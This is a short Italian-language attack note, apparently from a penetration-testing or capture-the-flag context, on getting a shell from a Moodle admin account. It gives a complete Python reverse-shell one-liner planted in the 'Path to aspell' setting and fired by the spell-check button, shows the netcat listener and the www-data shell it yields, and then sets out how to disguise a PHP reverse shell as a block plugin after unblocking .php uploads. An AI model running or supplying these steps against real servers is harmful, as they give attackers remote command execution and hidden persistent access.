tags: Moodle reverse_shell CMS
Metodo 1
Per caricare una reverse shell dobbiamo prima andare nella sezione Site administration → Server → System paths, in questa pagina vedrai vari percorsi di sistema (es. Path to du, Path to dot). Cerca il campo: Path to aspell. Dovrebbe contenere qualcosa come /usr/bin/aspell.
Sostituisci il file con una reverse shell Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.xx.xx.xx",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Ora prova a caricare un post come blog, formu, ecc, l’importante è che abbia la possibilità di modicare il testo in stile Microsoft Word. Una volta trovato questo tipo di form clicca sulla icona del controllo dell’ortografia ABC:

Non appena clicchi su quell’icona ti apparirà una reverse shell dove sei in ascolto con Netcat:
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.82.187.162 39094
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-dataMetodo 2
Se il metodo Aspell non funziona o preferisci caricare un file fisico:
-
Sblocca i permessi: Vai su Site administration → Security → Site policies. Cerca l’opzione “Enable execution paths” (o simile) e controlla se puoi abilitarla. Soprattutto, cerca la lista delle estensioni bloccate o permesse. Se vedi
.phptra i file proibiti, rimuovilo. -
Installa un Plugin Malevolo: Gli admin possono installare plugin
.zip.-
Prendi la tua reverse shell PHP (
php-reverse-shell.php). -
Inseriscila in una cartella chiamata
block_shell. -
Crea un file
version.phpminimale (copialo da un altro plugin Moodle) per farlo sembrare legittimo. -
Zippa la cartella.
-
Vai su Site administration → Plugins → Install plugins e carica lo zip.
-
Se l’installazione parte, lo script PHP verrà estratto nella cartella
/blocks/block_shell/shell.php(o simile) e potrai richiamarlo via browser.
-